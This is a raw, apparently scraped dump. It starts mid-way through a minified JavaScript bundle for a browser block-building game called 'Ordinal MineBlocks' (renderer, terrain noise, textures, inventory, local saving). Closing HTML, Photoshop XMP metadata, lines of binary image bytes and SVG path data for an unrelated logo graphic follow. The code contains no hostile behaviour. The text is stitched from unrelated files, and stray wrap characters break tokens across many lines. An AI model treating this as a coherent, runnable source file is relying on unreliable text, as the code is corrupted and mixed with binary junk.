e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(4),u=a.BLOCKS_MAP,c=a.CRAFTABLES,f=function(){return(window.game.width-180)/2},s=function(){return window.game.height-16-8},l=function(t){var e=0;return Object.entries(c).some(function(r){var n=i(r,2),o=n[0],a=n[1];return i(a||[],1)[0]===t&&(e=o,!0)}),e};t.exports={drawIcons:function(){var t=window.game.hotbar;u[t.side].forEach(function(t,e){n(t,f()+18*e,s())})},drawHotbarBorder:function(){var t=window.game,e=t.ctx,r=t.hotbar,nM
=f()+18*r.selected;e.lineWidth=1,e.strokeStyle="#fff",e.strokeRect(n+1,s()+1,14,14),e.strokeStyle="#000",e.strokeRect(n,s(),16,16)},drawIconNumers:function(){for(var t=window.game.hotbar,e=t.side,r=0;10>r;r++){var n=f()+18*r,i=u[e][r];o(t.items[i],n+16,s()+16)}},inventoryAdd:function(t){var e=window.game.hotbar,r=e.items;r[t]++;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]+=d}},inventoryRemove:function(t){var e=window.game.hotbar,r=e.items;r[t]--M
;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]-=d}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=Math.cos,i=Math.sin,a=r(2),u=n(a),c=r(1),f=n(c),s=r(21),l=n(s),d=r(0),v=0,m=0;(0,f.default)(function(){m=(m+1)%3}),t.exports={render:function(){var t=window.game,e=t.texmap,r=t.width,n=t.height,a=t.player,c=t.CONST,f=(t.fps,t.scanlinesEnabled),s=t.renderDistance,h=o(a.pitch),p=i(a.pitch),w=o(a.yaw),y=i(a.yaw)M
,g=a.x-(0|a.x),M=a.y-(0|a.y),b=a.z-(0|a.z);v=v?0:1;for(var _=0;_<r;_++)for(var x=(0,d.calcArcFromLength)(_,r),A=(_-r/2)/n,S=f?_%2+v-1:0;S<n;S+=f?2:1){for(var k,E=(0,d.calcArcFromLength)(S,n),L=s+(s*x+s*E)/2,T=(S-n/2)/n,C=h+T*p,O=T*h-p,I=A*w+C*y,P=C*w-A*y,j=0,R=255,z=0;3>z;z++){k=I,1==z&&(k=O),2==z&&(k=P);var B=1/Math.abs(k),N=I*B,D=O*B,F=P*B,G=g;1==z&&(G=M),2==z&&(G=b),0<k&&(G=1-G);var q=a.x+N*G,H=a.y+D*G,W=a.z+F*G;0>k&&(z||q--,1==z&&H--,2==z&&W--);for(var X,Z=B*G,J=c.MAP_SIZE-1;Z<L;){if(X=(0,d.getBlock)(q&J,63&H,WM
&J),(W>J||63<H||q>J||0>W||0>H||0>q)&&(X=0),0<X){var K=15&16*(q+W),Y=16+(15&16*H);1==z&&(K=15&16*q,Y=15&16*W,0>D&&(Y+=32));var V=e[K+16*Y+256*X*3];if(0<V){if(j=V,1==z&&(9==X||10==X)){var U=K+Y*(m+1)*16+256*X*3;9==X&&7680>U?j=e[U]:10==X&&8680>U&&(j=e[U])}var Q=u.default.timeModifier(),$=1-Z/s*Q;R=(255-(z+2)%3*50)*$,L=Z}}q+=N,H+=D,W+=F,Z+=B}}(0,l.default)(_,S,R,j)}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=r(13),i=n(o),a=r(5),u=n(a),c=r(2),f=r(1),s=n(f),l=r(0),d=r(3),v=n(M
d),m=r(9),h=r(7),p=r(18),w=r(4),y=w.RES,g=y.WIDTH,M=y.HEIGHT,b=0|w.MAP_SIZE/2;document.title="Ordinal MineBlocks",window.game={CONST:w},window.game={CONST:w,width:g,height:M,getTime:c.getTime,setTime:c.setTime,player:{x:b,y:0,z:b,velocity:0,pitch:-.1,yaw:0},hotbar:{selected:0,side:0,items:Array(21).fill(0)},map:h.map(),texmap:h.textures(),ctx:document.getElementById("game").getContext("2d"),fps:0,scanlinesEnabled:!0,renderDistance:32},document.addEventListener("DOMContentLoaded",function(){var t=window,e=t.game,r=eM
.width,n=e.height,o=e.ctx,a=document.getElementById("toolbar"),c=(0,l.getCanvas)();c.width=r,c.height=n;var f=function(){var t=1.3334*window.innerHeight,e=window.innerHeight;.75*window.innerWidth<window.innerHeight&&(t=window.innerWidth,e=.75*window.innerWidth),c.setAttribute("style","width: "+t+"px; height: "+e+"px")};e.pixels=o.createImageData(r,n),e.pixels.data.fill(255),window.addEventListener("resize",f),f(),m.init(),p.clock.init(),setTimeout(u.default.main,500),(0,s.default)(function(){window.game}),a.addEvenM
tListener("click",function(t){var r=t.target.id;"lock"===r?a.classList.toggle("extended"):"save"===r?(0,i.default)():"load"===r?window.location.reload():"plus"===r?e.renderDistance+=5:"minus"===r?e.renderDistance-=5:"interlace"===r?setTimeout(function(){return e.scanlinesEnabled=!e.scanlinesEnabled},1):"newseeed"===r&&confirm("Generate a new seed? This will erase your current save.")&&(w.LOCAL_STORAGE.forEach(function(t){return localStorage.removeItem(t)}),v.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INM
TEGER),window.location.reload()),5>e.renderDistance?e.renderDistance=5:255<e.renderDistance&&(e.renderDistance=255)})})},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){for(var t="",e=m(h()),r=m(window.game.map),n=0;n<r.length;n++){var o=e[n],i=r[n];t+=o===i?"-":i}return t}function i(t){for(var e="",r=t[0],n=1,o=1;o<t.length;o++)t[o]===r?n++:(e+=1==n?r:n+r,r=t[o],n=1);return e+=n+r}Object.defineProperty(e,"__esModule",{value:!0}),e.stringify=void 0;var a=r(5),u=r(2),c=r(M
7),f=n(c),s=r(3),l=n(s),d=r(6),v=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)}),m=e.stringify=function(t){return t.map(function(t){return t.map(function(t){return t.map(function(t){return v[t]||v[0]}).join("")}).join("")}).join("")},h=function(){return window.game._map=window.game._map||f.default.map()};e.default=function(){var t=window,e=t.game;l.default.safeSet("_mct",(0,u.getTime)()),l.default.safeSet("_mci",JSON.stringify(e.hotbar.items));var r=o();console.log("saving mapStr length",r.leM
ngth);var n=i(r),c=d.compress(n);console.log("minified",n.length,n),console.log("compressed",c.length,c),l.default.safeSet("_mcm",c);var f=d.decompress(c);(0,a.unMinify)(f)===r?console.log("success"):console.log("Could not save map internally")}},function(t,e,r){"use strict";function n(t,e,r,n){for(var o=e*r%6+6,i=0;i<o;i++)t[e][r-i][n]=7;for(var a=o;0<a;a-=3)for(var u=-1;2>u;u++)for(var f=-1;2>f;f++)c(f+e,r-a,u+n,8,t,7)}var o=Math.floor,i=r(3),a=function(t){return t&&t.__esModule?t:{default:t}}(i),u=r(0),c=u.setBlM
ock,f=r(8),s=r(15),l=a.default.exits(),d=a.default.safeGet("_mcs");l?!d&&(a.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INTEGER),window.location.reload()):(d=0,document.querySelector(".nosaving").classList.toggle("show"),console.log('no localstorage. Using seed "0". No saving permitted'));var v=s(d),m={1:1,2:1,4:1};t.exports=function(){for(var t=window.game.CONST,e=t.SEA_LEVEL,r=t.MAP_SCALE,i=t.MAP_SIZE,a=f(),u=function(){return Array(i)},c=document.getElementById("loading"),s=u(),l=u(),d=0;d<i;d++){s[d]M
=u(),l[d]=u();for(var h,p=0;p<i;p++){h=v(d/r,p/r,0),h*=10,h+=32,h=o(h),s[d][p]=h;var w=v(d/2,p/2,0);w*=3,w=o(w),l[d][p]=w,window.treeMap=l}}console.log("ran");for(var y=0;y<i;y++)for(var g,M=0;M<i;M++){g=s[y][M],a[y][g][M]=g<=e?1:12;for(var b=g-1;b>e;b--)a[y][b][M]=9;for(var _=g+1;64>_;_++)a[y][_][M]=4;-2>=l[y][M]&&g<e&&n(a,y,g-1,M),34==g&&(a[y][g][M]=13);for(var x=e-5;64>x;x++){if(48<x){var A=v(y/r*4,x/r*2,M/r*4);if(.55<A&&.6>A){var S=a[y][x][M];m[S]&&(a[y][x][M]=10)}}var k=v(y/r*2,x/r*4,M/r*2);if(.35<k&&.8>k){varM
 E=a[y][x][M];m[E]&&(a[y][x][M]=0)}var L=v(y/r*8,x/r*8,M/r*8);if(.2<L&&.8>L){var T=a[y][x][M];m[T]&&(50>x&&.2<L&&.21>L?a[y][x][M]=14:42<x&&50>x&&.55<L&&.6>L?a[y][x][M]=15:48<x&&.7<L&&(a[y][x][M]=16))}if(61<x)if(63==x)a[y][x][M]=11;else{var C=v(y/r*64,x/r*64,M/r*64);.1<C&&(a[y][x][M]=11)}}}return c.hidden=!0,a}},function(t,e,r){"use strict";function n(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function o(t){if(Array.isArray(t)){for(var e=0,r=Array(t.length);e<t.length;e++)r[e]M
=t[e];return r}return Array.from(t)}var i=function(){function t(t,e){for(var r,n=0;n<e.length;n++)r=e[n],r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}return function(e,r,n){return r&&t(e.prototype,r),n&&t(e,n),e}}(),a=r(16),u=function(t){return t&&t.__esModule?t:{default:t}}(a);t.exports=function(){for(var t,e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:1,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:Array(512),a=-1,c=Math.floor,M
f=[].concat(o(r)),s=function(t){return t*t*t*(t*(6*t-15)+10)},l=function(t,e,r){return(1-r)*t+r*e},d=[[1,1],[a,1],[1,a],[a,a],[1,,1],[a,,1],[1,,a],[a,,a],[,1,1],[,a,1],[,1,a],[,a,a]].map(function(t){return new(Function.prototype.bind.apply(function(){function t(){var e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:0,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:0,o=2<arguments.length&&void 0!==arguments[2]?arguments[2]:0;n(this,t),this.x=e,this.y=r,this.z=o}return i(t,[{key:"d",value:function(t,M
e,r){return this.x*t+this.y*e+this.z*r}}]),t}(),[null].concat(o(t))))}),v=0;256>v;v++)t=(0,u.default)(e+v,256)^(1&v?255&e:255&e>>8),r[v]=r[v+256]=t,f[v]=f[v+256]=d[t%12];return function(t,e,n){var o=c(t),i=c(e),a=c(n);t-=o,e-=i,n-=a,o&=255,i&=255,a&=255;var u=s(t),d=s(e),v=s(n),m=i+r[a],h=i+r[a+1],p=o+r[m],w=o+r[h],y=o+r[m+1],g=o+r[h+1];return l(l(l(f[p].d(t,e,n),f[p+1].d(t-1,e,n),u),l(f[w].d(t,e,n-1),f[w+1].d(t-1,e,n-1),u),v),l(l(f[y].d(t,e-1,n),f[y+1].d(t-1,e-1,n),u),l(f[g].d(t,e-1,n-1),f[g+1].d(t-1,e-1,n-1),u),vM
),d)}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0}),e.default=function(t,e){return(""+(2147483647&Math.imul(48271,t))/2147483648).split("").slice(-10).join("")%e}},function(t){"use strict";t.exports=function(){for(var t=Array(12288),e=1;21>e;e++)for(var r=255-(0|96*Math.random()),n=0;48>n;n++)!function(n){for(var o=0;16>o;o++)!function(o){var i=9858122,a=r;if(32<=n&&(a/=2),(4!=e&&6!=e||0==(0|3*Math.random()))&&(r=255-(0|96*Math.random())),1==e&&(n<18+(3&o*o*3+81*o>>2)?i=6990400:1==e&M
&n<19+(3&o*o*3+81*o>>2)&&(r=2*r/3)),3==e&&(i=14606046,0<o&&15>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(a=0)),4==e&&(i=8355711),5==e&&(i=11876885,(0==(o+4*(n>>2))%8||0==n%4)&&(i=12365733)),6==e&&(i=10519115,0==(0|16*Math.random())&&(r=255-(0|96*Math.random())),0==n%4&&(a=132)),7==e)if(i=6771249,0<o&&15>o&&(0<n&&15>n||32<n&&47>n)){i=12359778;var u=o-7,c=(15&n)-7;0>u&&(u=1-u),0>c&&(c=1-c),c>u&&(u=c),r=196-(0|32*Math.random())+u%3*32}else 0==(0|2*Math.random())&&(r=r*(140-100*(1&o))/100);8==e&&(i=5298487,0==(0|2*Math.rM
andom())&&(i=0,a=255)),9==e&&(i=4219135,a=192+(0|32*Math.random())),10==e&&(i=15810114,a=192+(0|32*Math.random()),0==(0|2*Math.random())&&(i=15834690)),11==e&&(i=4392035,0==(0|2*Math.random())&&(i=2294851)),12==e&&(i=15196080,1>16*Math.random()&&(a=164+4*o)),13==e&&(i=15200224,1>16*Math.random()&&(i=16232346));var f=function(t){2<o&&13>o&&(2<n&&13>n||18<n&&29>n)&&1>4*Math.random()&&(i=t)};14==e&&(i=8355711,f(15810114)),15==e&&(i=8355711,f(15778600)),16==e&&(i=8355711,f(4517357)),17==e&&(i=13704738,1>16*Math.random(M
)&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15810114),r=255)),18==e&&(i=13673224,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15778600),r=255)),19==e&&(i=3386283,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=4517357),r=255)),20==e&&(i=8355711,1<=(0|4*Math.random())&&(Math.random(),i=5277975));var s=(255&i>>16)*a/255<<16|(255&i>>8)*a/255<<8|(255&i)*a/255;t[o+16*n+256*e*3]=s}(o)}(n);return t}},funcM
tion(t,e,r){"use strict";var n=r(19),o=r(11);t.exports={clock:n,render:o}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){var t=window.game,e=t.ctx,r=t.pixels;window._tick+=1,d.applyGravity(),d.calculateMovement(),m(),f.default.drawIcons(),e.putImageData(r,0,0),f.default.drawHotbarBorder(),f.default.drawIconNumers(),(0,l.default)()}function i(t){var e=window.game.CONST.MAX_FPS;return t-h<1e3/e?window.requestAnimationFrame(i):(o(),h=t,void window.requestAnimationFrame(i)M
)}var a=r(1),u=n(a),c=r(10),f=n(c),s=r(20),l=n(s),d=r(9),v=r(11),m=v.render,h=0;t.exports={init:function(){window._tick=0;var t=document.querySelector(".fps");(0,u.default)(function(){var e=window._tick;window.game.fps=e,t&&(t.innerText=e.toString()+" fps"),window._tick=0}),window.requestAnimationFrame?window.requestAnimationFrame(i):setInterval(o,10)}}},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n,o,i,a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a);e.default=funM
ction(){var t=window.game,e=t.ctx,r=t.width,a=t.height;e.lineWidth=1,e.strokeStyle="#fff",e.strokeStyle="rgb("+n+","+o+","+i+")",e.strokeRect(r/2-1,a/2-1,2,2)},(0,u.default)(function(){var t=window.game,e=t.pixels,r=t.width,a=t.height,u=4*(r/2+(a/2-5)*r);n=255&e.data[u+0]+128,o=255&e.data[u+1]+128,i=255&e.data[u+2]+128})},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.M
push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),o=r(2),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=r(0);e.default=function(t,e,r,o){var u=window.game,c=u.pixels,f=u.width,s=i.default.color,l=(0,a.isInsideCheck)(),d=i.default.timeModifier(),v=s(),m=n(v,3)L
,h=m[0],p=m[1],w=m[2],y=255*r/48960;l||(y*=1-d/2);var g=(255&o>>16)*y,M=(255&o>>8)*y,b=(255&o)*y,_=4*(t+e*f);c.data[_+0]=g||h,c.data[_+1]=M||p,c.data[_+2]=b||w}}]);
</script></body></html>
http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164488, 2020/07/10-22:06:53        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.diM
d:e0d18448-e896-5e43-a0da-1b9382b0ded8" xmpMM:DocumentID="xmp.did:7A377823AAE411EDAB61B120985F17D5" xmpMM:InstanceID="xmp.iid:7A377822AAE411EDAB61B120985F17D5" xmp:CreatorTool="Adobe Photoshop 22.0 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:bfe6075a-4a48-824a-9b17-dbd17a4d3509" stRef:documentID="adobe:docid:photoshop:465ad496-f16c-d742-820d-e7e2178cc0b5"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
&2.&&&&.>55555>DAAAAAADDDDDDDDDDDDDDDDDDDDDDDDDDDDDM
&6& &6D6++6DDDB5BDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
<svg height="314.58" viewBox="0 0 400.2 395.9" width="318" xmlns="http://www.w3.org/2000/svg"><path d="m245.9 97.7c-.2 1.8-1.7 3-2.4 4.5-1 2.3-.8 5.3-2.6 7.5l-2.1.2c-.3 3.4-1.5 6.6-3.5 9.3 2.3 1.2 4.8 1.6 6.9 2.7.9.5 2.1 2 2.6 2.3 9.2 4.3 18.1 7.3 26.9 12.2l2.5.4 3.8 1.1 3.7 1 3.9 1.2 3.8 1.3.5.2 1.1.4 6 2.3 7.6 3.1 7.3 3.4 7 3.4 6.8 3.5 6.2 3.4 5.7 3.2 5 3 4.4 2.6 6.2 3.9 12.9 8.2-1.2.1-17.8 1.6-10.4.9 2.9 23.2c-2.3-1.6-6.3-3.9-10.3-6.5 7.6 17.5 11.5 36.3 11.5 55.4 0 76.9-62.5 139.2-139.3 139.2-76.9 0-139.2-62.3-1M
39.2-139.2 0-19.1 3.9-37.9 11.5-55.4-4 2.7-7.4 5-9.7 6.6l.1-.5-.6.4 3-23.1-28.3-2.4-1.7-.3 13.3-8.4 6.2-3.9 4.5-2.7 5-3 5.7-3.2 6.4-3.5 6.8-3.5 7-3.5 7.6-3.4 7.5-3.1 7.8-3 3.9-1.3 3.9-1.1 3.8-1 3.8-1.1 2.6-.6c12.5-7.2 26.1-12.3 40.2-15.3 1-.9 1.8-2 2.3-3.2l-.3-.6c-6.1-2.3-5.1-8.4-5-14.1-.2 4.7-1.3 2.9-2.7 1.1-.2-1.2-.3-2.5-.3-3.8l-1.8-.4c-.3-2-.5-4.1-.4-6.1-3.8 2.4-7.7 3.3-12.1 1.3-4.4.7-5.4 3.1-10.8 2l-1.5-1.4c-2.2.9-4.8-.7-6.8-1-5.1-.6-24-1.1-25.2-8.6-1.6-.5-5.8-3.4-5.8-5.2-7.4-1.8-17.3-3-23.1-8.2-8.4-.2-18.2-5.4M
-24.6-10.4-1.8-1.4-3.2-4.1-4.8-5.2-3.4-2.3-7.6-3.4-11.1-6-1.8-1.3-3.5-4-5.2-5.1-2.6-1.7-5.8-2.4-8.4-4.4-1.6-1.3-3-3.6-4.5-4.7-4.7-3.1-9.9-3.2-14.5-7.4-4-3.8-6-6.3-6-12.2 4.8-4.6 47.3-2.5 51.8-2.5 23.3-.2 64.5-3.8 86.7 3.8 8.1 2.7 14.9 8.4 18.9 16 10.8 3.4 8.6 8.6 15.5 14.2 0-1.8.2-3.6.6-5.4l1.6-1.2c-1.6-1.3-3.1-3.4-2.8-5.5l-3.4-6.9c-2.6-1.8-13.6-5.8-11.9-10.8l-2.3 1.1c-11.9-10.6 6-23.8 18.9-18.1 2.3-.8 4.7-1.1 7.1-.8l1.8.3c5.9 1.2 11 5.1 16.9 6.2 5.6 1 3.7-3.2 11.5 1.4l-.5 2.9c2.1.7 4 1.8 5.7 3.2v2.9c1 .3 2.7 2.2 3M
.4 3v1.7c4.1 1.2 13 9.3 9.9 14.1 2.7 3 4.3 6.3 3.3 10.4l.5.8h.8c2.9-4.7 6.3-14.3 13.1-15.3 15-26.3 71-18.7 94.6-19.2 12.5-.2 24.9.1 37.3.1 4.1 0 11.7-1.5 15.9-.4 1.9.6 3.6 1.5 5.3 2.5-1.6 7.9-5.3 11.9-12.8 15.1l-5 1.9c-4.4 3.1-11 11.1-15.1 14.9-3.4 3.1-8 4.5-11.2 7.1-1.4 1.2-2.5 3.1-3.9 4.4-6.7 6.2-16.6 10.2-25.5 11.8-5.4 6.3-13.2 8.2-21 8.4-1.3.9-2.7 1.7-4.2 2.4-.2.8-1.9 3.2-2.7 3.3-.4 3.2-4.9 7.5-8.1 7-1.7 1.9-15.6 3.2-17.8 1.9-2.1 1.6-4.7 2.3-7.3 2.1-4.5 3.7-10.9.5-12.4 1-2.8.7-4.2 1.5-7.3 1.1z" fill="#fff"/><paM
th d="m136.6 167.8c-49 36.3-59.4 105.5-23 154.5 15 20.3 36.6 34.8 61 41.2 7.7 8.3 15.9 16.1 24.6 23.5-72-1.3-129.3-60.7-128-132.7.4-24.5 7.8-48.4 21.2-68.9 16-9.6 34.8-19.3 43.3-17.9zm176 88.8c0-35.2-16.7-68.3-45.1-89.1 8.7-1.3 27.3 8.3 43.2 17.9 39.3 60.3 22.2 141.1-38.1 180.3-20 13.1-43.3 20.3-67.2 21.1 8.7-7.3 16.9-15.1 24.7-23.4 48.6-12.6 82.5-56.5 82.5-106.8zm-111.2-130.3c19.9 0 39.6 4.5 57.4 13.3l-1.6.4c-11.6 2.9-23 6-34.7 8.1-13.7-2.6-27.8-2.5-41.5.2-7.3-1.3-14.3-2.9-20.5-4.4-2-.5-10.3-2.9-16.5-4.2 17.9-8.9 M
37.6-13.4 57.4-13.4z" fill="#b5b5b5"/><g fill="#0f0f10"><path d="m235.7 271.1 1.1-1.1.4.4.4.4.4.4.4.4.3.4.4.5.4.5-1.2.9-.3-.4-.4-.4-.4-.5-.4-.4-.3-.4-.4-.4z"/><path d="m211 294.9-1.3-.2-20.2 20.2 1.1 1 20.2-20.2-1.3-.2 1.5-.6-.4-1.2-.9 1z"/><path d="m198.4 260.2v.1l.1.1 1.5-.5-.1-.1h.1z"/><path d="m159.5 299.6 1.3.2.8-.8-1.1-1.2-.8.9 1.2.3-1.4.6.4 1.1.9-.9z"/><path d="m243.1 262.3h-1.1l-7 7 1.1 1.1 7-7.1h-1.1l1.1-1-.5-.7-.6.7z"/><path d="m235 269.3v1.1.1h.1v.1l.2.1v.1h.1v.1h.1.1v.1h.1v.1l1.1-1.1-.1-.1-.1-.1-.1-.1h-M
.1v-.1h-.1l-.1-.1-.1-.1v-.1h-.1.1v1.1l-1.1-1.1-.6.6.6.5z"/><path d="m229.3 275-5.8 5.7 1.1 1.2 5.7-5.8z"/><path d="m235.9 269.2-.9.1-5.7 5.7 1 1.1 5.8-5.7-1 .1.8-1.3-.5-.3-.4.4z"/><path d="m224.6 280.8-1.1-.1-13.8 14 1.1 1 13.8-13.8-1.1-.1 1.1-1-.5-.7-.6.6z"/><path d="m190.1 314.6-.6.3-7.7 7.6 1.1 1.1 7.7-7.7-.5.2z"/><path d="m168.2 292.3-.2.3-6.4 6.4-1.1-1.2 6.6-6.6 7.5-7.5 24.1-24 19.6-19.7 1.1 1.1-19.6 19.7-.9.8-23.6 23.7-.9.9z"/></g><path d="m202.9 177.8-4.9-.3-5.1-.6-11-1.6-11.1-1.9-10.6-2-17-3.7-6.8-1.6-1.7-.M
1h-1.8l-2 .3-2.1.3-2.2.7-2.5.7-5.1 2-5.5 2.4-5.6 2.8-5.7 3-5.6 3.2-10.5 6.3-8.8 5.6-8.2 5.5 2.3-18.1-21.6-1.9 2.3-1.5 6.1-3.9 4.5-2.6 5-3 5.6-3.2 6.4-3.5 6.7-3.4 7-3.4 7.4-3.4 7.4-3.1 7.6-2.9 3.8-1.3 3.8-1.1 3.8-1.1 3.7-1 3.6-.8 3.7-.6h1.1l1.7.3 5 1.1 6.9 1.7 8.2 2.2 9.5 2.2 5.2 1.1 5.3 1.1 5.3.9 5.5.7 5.5.5 5.5.5z" fill="#12814b"/><path d="m202.2 178 4.7-.4 5.2-.6 10.8-1.5 10.9-1.9 10.5-2 16.7-3.6 6.7-1.5 1.7-.2h1.8l1.9.3 2.1.4 2.3.6 2.4.7 5 2 5.4 2.4 5.5 2.6 5.5 3.1 5.6 3.1 10.4 6.2 8.6 5.4 8.1 5.5-2.2-17.8 21.1-M
2-2.1-1.3-6.1-3.9-4.3-2.6-5-2.9-5.7-3.2-6.1-3.3-6.6-3.5-7-3.3-7.1-3.4-7.4-3-7.5-2.8-3.7-1.3-3.8-1.1-3.7-1.1-3.6-1-3.7-.7-3.5-.7h-1.1l-1.7.3-5 1.1-6.6 1.7-8.2 2.2-9.4 2.1-5 1.2-5.2.9-5.3.9-5.4.7-5.5.6-5.4.4z" fill="#e83030"/><path d="m196.5 160.6 1.6-.1.3 4.7c0 .6.3 1.2.8 1.5.6.4 1.2.5 1.9.4.7 0 1.3-.2 1.9-.6.5-.4.7-1 .6-1.6l-.3-4.6 1.6-.1.3 4.8c.1.9-.3 1.7-.9 2.3-.9.6-2 1-3.2.9-1.1.1-2.3-.1-3.3-.6-.7-.5-1.1-1.4-1-2.2zm-12 6.2.9-7.6 2.6.4c.6 0 1.1.1 1.6.3.3.1.6.2.9.4s.5.4.7.7c.1.3.1.7.1 1 0 .4-.2.7-.5.9-.3.3-.7.4-1.M
1.4.5.2 1 .4 1.4.8.3.4.4.9.3 1.4 0 .3-.1.6-.3.8s-.4.4-.7.6-.7.4-1.1.4-1.1-.1-2.1-.1zm2.2-4.1h.6c.6.1 1.1.1 1.7 0 .4-.1.6-.4.6-.8.1-.4 0-.7-.3-1-.5-.2-1.1-.4-1.7-.4l-.7-.1zm-.5 3.3.6.1c.5.1.9.1 1.4.2.3 0 .5-.1.7-.1.2-.1.4-.3.5-.4.1-.2.2-.3.1-.5.1-.2 0-.5-.1-.7s-.3-.4-.5-.4c-.2-.2-.4-.2-.6-.2-.2-.1-.4-.2-.7-.2l-.6-.1-.5-.1zm-10-.5 1.4-7.5 1.6.3-1.4 7.5zm-9.8-5.6-.8 3.4-1.6-.4 1.7-7.4 2.3.5c.7.2 1.2.3 1.5.4.3.2.6.4.9.6s.5.5.6.9c.1.3.1.7 0 1-.1.5-.4 1-.9 1.3-.6.3-1.3.3-1.9.2l2.7 4.2-1.9-.4-2.6-4.1zm.4-1 .2.1c.6.2 1.2.2M
 1.8.3.3-.1.5-.4.6-.8s0-.8-.3-1c-.5-.4-1-.6-1.6-.6l-.3-.1zm-15.6-7 1.6.4-1 4.5c-.2.6-.1 1.2.2 1.7.5.5 1.1.8 1.8.9.7.2 1.4.2 2.1-.1.5-.2.9-.7.9-1.3l1-4.6 1.6.4-1.1 4.6c-.2.9-.7 1.6-1.5 2-1.1.3-2.2.3-3.3 0-1.1-.1-2.2-.7-2.9-1.5-.5-.7-.7-1.6-.5-2.5zm-23 1.2.4 3.4-1.5.3-.8-7.6 2.5-.2c.5-.1 1.1-.1 1.6-.1.3 0 .7.1 1 .2s.6.3.8.6c.3.3.4.6.4 1 .1.3 0 .7-.2 1s-.4.6-.7.9c-.3.1-.5.3-.9.4-.6.2-1.1.3-1.7.3h-.3zm0-1h.4c.6-.1 1.2-.2 1.8-.4.3-.1.5-.5.4-.8 0-.4-.3-.7-.6-.8-.6-.2-1.2-.2-1.8-.1h-.4zm158.3 4.6v-.5c.1-.2.1-.3.1-.5-.1.1-M
.2.3-.3.4l-.4.4-3.7 3.2-1.5-4.7c-.1-.3-.1-.3-.2-.6s-.1-.3-.1-.4c-.1.1-.1.3-.2.4-.1.2-.2.3-.3.4l-2 3.2-1.4-.4 4.4-7 1.7 5.4v.4c.1.2.2.5.2.8.2-.3.4-.5.7-.7.1-.1.1-.2.2-.3l4.1-3.8.3 8.3-1.4-.5zm-24.7-7.1 1.7-.1.5 4.5c0 .6.2 1.1.7 1.5.6.3 1.4.4 2.1.3.7 0 1.3-.2 1.9-.6.4-.5.6-1 .5-1.6l-.5-4.6 1.7-.1.4 4.6c.2.9-.1 1.9-.9 2.5-.9.6-2 1-3.1 1-1.1.2-2.3 0-3.3-.5-.8-.5-1.3-1.3-1.3-2.2zm-14.7 11.2-1.8-7.8 7.5 3.1c.2.1.4.2.6.3s.5.2.7.3l-1.1-5.2 1.5-.4 1.8 7.7-7.6-3.1c-.2-.1-.4-.1-.6-.3-.2-.1-.4-.3-.6-.4l1.2 5.1zm-16.4-4.1 1.5-.M
